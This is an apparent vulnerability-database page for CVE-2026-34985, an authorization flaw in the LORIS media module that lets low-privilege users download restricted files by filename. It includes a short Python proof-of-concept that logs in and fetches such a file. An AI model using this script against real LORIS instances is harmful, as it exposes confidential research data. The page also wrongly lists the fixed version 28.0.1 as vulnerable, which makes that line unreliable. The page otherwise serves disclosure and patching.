Security Vulnerability Report
中文
CVE-2026-34985 CVSS 6.3 MEDIUM

CVE-2026-34985

Published: 2026-04-08 19:25:23
Last Modified: 2026-04-21 20:20:00

Description

LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From 16.1.0 to before 27.0.3 and 28.0.1, While the frontend of the media module filters files that the user should not have access to, the backend was not applying access checks and it would be possible for someone who should not have access to a file to access it if they know the filename. This vulnerability is fixed in 27.0.3 and 28.0.1.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:* - VULNERABLE
LORIS >= 16.1.0, < 27.0.3
LORIS = 28.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) base_url = "http://target-loris-instance" login_url = f"{base_url}/login" file_url = f"{base_url}/media/files/sensitive_research_data.csv" # Attacker credentials (low privilege) credentials = { "username": "attacker", "password": "password123" } # Create a session to maintain cookies session = requests.Session() # 1. Authenticate as a low-privilege user login_response = session.post(login_url, data=credentials) if login_response.status_code == 200: print("[+] Login successful") # 2. Exploit: Request a file that should be restricted # The backend checks if the file exists, but NOT if the user has permission exploit_response = session.get(file_url) if exploit_response.status_code == 200: print("[+] Exploit successful! File content downloaded:") print(exploit_response.text) else: print("[-] Failed to access file") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34985", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:23.157", "lastModified": "2026-04-21T20:20:00.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From 16.1.0 to before 27.0.3 and 28.0.1, While the frontend of the media module filters files that the user should not have access to, the backend was not applying access checks and it would be possible for someone who should not have access to a file to access it if they know the filename. This vulnerability is fixed in 27.0.3 and 28.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndIncluding": "27.0.2", "matchCriteriaId": "8F804E5A-C679-411E-AA44-8CDEEC883F11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D358B66A-04AC-44F2-8EF6-4332D8AC00F4"}]}]}], "references": [{"url": "https://github.com/aces/Loris/security/advisories/GHSA-p42c-4gmq-hrjw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}